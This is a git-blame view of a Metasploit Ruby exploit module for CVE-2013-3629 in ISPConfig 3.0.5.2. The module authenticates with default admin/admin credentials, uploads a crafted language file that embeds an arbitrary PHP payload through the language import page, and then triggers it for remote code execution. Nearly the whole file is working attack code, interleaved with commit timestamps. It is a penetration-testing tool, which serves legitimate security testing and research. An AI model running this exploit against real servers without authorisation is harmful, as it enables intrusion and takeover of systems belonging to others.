Files
metasploit-gs/modules/exploits/multi/http/ispconfig_php_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

136 lines
4.0 KiB
Ruby
Raw Normal View History

2013-10-30 10:25:48 -05:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-30 10:25:48 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-10-30 10:25:48 -05:00
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
2025-06-20 13:20:44 +01:00
super(
update_info(
info,
'Name' => 'ISPConfig Authenticated Arbitrary PHP Code Execution',
'Description' => %q{
ISPConfig allows an authenticated administrator to export language settings into a PHP script
which is intended to be reuploaded later to restore language settings. This feature
can be abused to run aribitrary PHP code remotely on the ISPConfig server.
This module was tested against version 3.0.5.2.
},
'Author' => [
2013-10-30 10:25:48 -05:00
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
],
2025-06-20 13:20:44 +01:00
'License' => MSF_LICENSE,
'References' => [
2013-10-30 12:25:55 -05:00
['CVE', '2013-3629'],
2022-01-23 15:28:32 -05:00
['URL', 'https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats']
2013-10-30 10:25:48 -05:00
],
2025-06-20 13:20:44 +01:00
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' => {
2013-10-30 10:25:48 -05:00
'BadChars' => "&\n=+%",
},
2025-06-20 13:20:44 +01:00
'Targets' => [
[ 'Automatic', {} ],
2013-10-30 10:25:48 -05:00
],
2025-06-20 13:20:44 +01:00
'DefaultTarget' => 0,
'DisclosureDate' => '2013-10-30',
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
register_options(
2013-10-30 10:25:48 -05:00
[
OptString.new('TARGETURI', [ true, "Base ISPConfig directory path", '/']),
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
OptString.new('PASSWORD', [ false, "Password to authenticate with", 'admin']),
OptString.new('LANGUAGE', [ true, "The language to use to trigger the payload", 'es'])
2025-06-20 13:20:44 +01:00
]
)
2013-10-30 10:25:48 -05:00
end
def lng
datastore['LANGUAGE']
end
def exploit
init = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/index.php')
})
if !init or init.code != 200
2015-04-16 21:16:52 +02:00
fail_with(Failure::UnexpectedReply, "Error getting initial page.")
2013-10-30 10:25:48 -05:00
end
sess = init.get_cookies
post = {
'username' => datastore["USERNAME"],
'passwort' => datastore["PASSWORD"],
's_mod' => 'login',
's_pg' => 'index'
}
print_status("Authenticating as user: " << datastore["USERNAME"])
login = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/content.php'),
'vars_post' => post,
'cookie' => sess
})
if !login or login.code != 200
2015-04-16 21:16:52 +02:00
fail_with(Failure::NoAccess, "Error authenticating.")
2013-10-30 10:25:48 -05:00
end
sess = login.get_cookies
2025-06-20 13:20:44 +01:00
fname = rand_text_alphanumeric(rand(10) + 6) + '.lng'
2013-10-30 10:25:48 -05:00
php = "---|ISPConfig Language File|3.0.5.2|#{lng}\n"
php << "--|global|#{lng}|#{lng}.lng\n"
php << "<?php \n"
php << payload.encoded
php << "?>\n"
php << "--|mail|#{lng}|#{lng}.lng\n"
php << "<?php"
php << "?>"
data = Rex::MIME::Message.new
2025-06-20 13:20:44 +01:00
data.add_part(php, 'application/x-php', nil, "form-data; name=\"file\"; filename=\"#{fname}\"")
2013-10-30 10:25:48 -05:00
data.add_part('1', nil, nil, 'form-data; name="overwrite"')
data.add_part('1', nil, nil, 'form-data; name="ignore_version"')
data.add_part('', nil, nil, 'form-data; name="id"')
data_post = data.to_s
print_status("Sending payload")
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/admin/language_import.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data_post,
'cookie' => sess
})
post = {
'lng_select' => 'es'
}
print_status("Triggering payload...")
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/admin/language_complete.php'),
'vars_post' => post,
'cookie' => sess
})
end
end